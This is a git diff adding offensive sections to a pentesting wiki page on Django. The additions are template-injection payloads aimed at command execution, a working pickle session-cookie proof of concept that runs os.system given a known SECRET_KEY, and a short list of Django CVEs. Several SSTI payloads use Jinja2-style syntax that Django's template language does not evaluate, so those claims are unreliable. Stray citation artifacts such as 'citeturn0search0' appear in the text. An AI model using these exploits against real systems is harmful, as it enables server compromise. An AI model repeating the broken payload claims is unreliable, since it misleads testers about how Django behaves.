diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 1d09b26a5..a279c59f8 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -3,12 +3,77 @@ {{#include /banners/hacktricks-training.md}} ## Cache Manipulation to RCE -Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**. +Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**. Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation. This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436 +--- +## Server-Side Template Injection (SSTI) +The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE. + +### Detection +1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data. +2. Send a time-based or arithmetic payload: + ```django + {{7*7}} + ``` + If the rendered output contains `49` the input is compiled by the template engine. + +### Primitive to RCE +Django blocks direct access to `__import__`, but the Python object graph is reachable: +```django +{{''.__class__.mro()[1].__subclasses__()}} +``` +Find the index of `subprocess.Popen` (≈400–500 depending on Python build) and execute arbitrary commands: +```django +{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} +``` +A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`. + +The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input. + +--- + +## Pickle-Backed Session Cookie RCE +If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution. + +### Exploit Requirements +* The server uses `PickleSerializer`. +* The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). + +### Proof-of-Concept +```python +#!/usr/bin/env python3 +from django.contrib.sessions.serializers import PickleSerializer +from django.core import signing +import os, base64 + +class RCE(object): + def __reduce__(self): + return (os.system, ("id > /tmp/pwned",)) + +mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) +print(f"sessionid={mal}") +``` +Send the resulting cookie, and the payload runs with the permissions of the WSGI worker. + +**Mitigations**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`. + +--- + +## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check +* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI codes into log files and poison downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2. citeturn0search0 +* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8. citeturn1search2 + +Always fingerprint the exact framework version via the `X-Frame-Options` error page or `/static/admin/css/base.css` hash and test the above where applicable. + +--- + +## References +* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. citeturn0search0 +* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. citeturn1search2 {{#include /banners/hacktricks-training.md}}